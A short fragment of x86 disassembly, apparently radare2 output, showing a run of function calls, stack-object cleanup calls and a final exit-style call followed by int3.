call fcn.004142b0
add esp, 4
mov ecx, eax
call fcn.00403420
mov ecx, eax
call fcn.00408ba0
lea ecx, [ebp - 0x1db4]
call fcn.004034a0
lea ecx, [ebp - 0x1dcc]
call fcn.004034a0
lea ecx, [ebp - 0x1de4]
call fcn.004034a0
lea ecx, [ebp - 0x1dfc]
call fcn.004034a0
push 0
call fcn.00421fcf
int3